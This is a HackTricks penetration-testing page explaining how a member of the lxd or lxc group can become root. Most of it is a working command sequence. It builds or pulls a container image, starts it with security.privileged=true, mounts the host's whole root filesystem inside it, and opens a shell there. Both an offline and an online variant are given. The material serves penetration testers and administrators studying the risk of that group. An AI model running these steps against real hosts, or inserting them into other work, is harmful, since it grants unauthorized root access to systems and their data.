hacktricks/linux-unix/privilege-escalation/lxd-privilege-escalation.md

lxc - Privilege escalation

If you belong to lxd or lxc group, you can become root

Exploiting without internet

You can install in your machine this distro builder: https://github.com/lxc/distrobuilder follow the instructions of the github:

#Install requirements
sudo apt update
sudo apt install -y golang-go debootstrap rsync gpg squashfs-tools
#Clone repo
go get -d -v github.com/lxc/distrobuilder
#Make distrobuilder
cd $HOME/go/src/github.com/lxc/distrobuilder
make
cd
#Prepare the creation of alpine
mkdir -p $HOME/ContainerImages/alpine/
cd $HOME/ContainerImages/alpine/
wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml
#Create the container
sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml

Then, upload to the server the files lxd.tar.xz and rootfs.squashfs

Add the image:

lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
lxc image list #You can see your new imported image

Create a container and add root path

lxc init alpine privesc -c security.privileged=true
lxc list #List containers

lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true

Execute the container:

lxc start privesc
lxc exec privesc /bin/sh
[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted

With internet

You can follow these instructions.

lxc init ubuntu:16.04 test -c security.privileged=true
lxc config device add test whatever disk source=/ path=/mnt/root recursive=true 
lxc start test
lxc exec test bash
[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted

Other Refs

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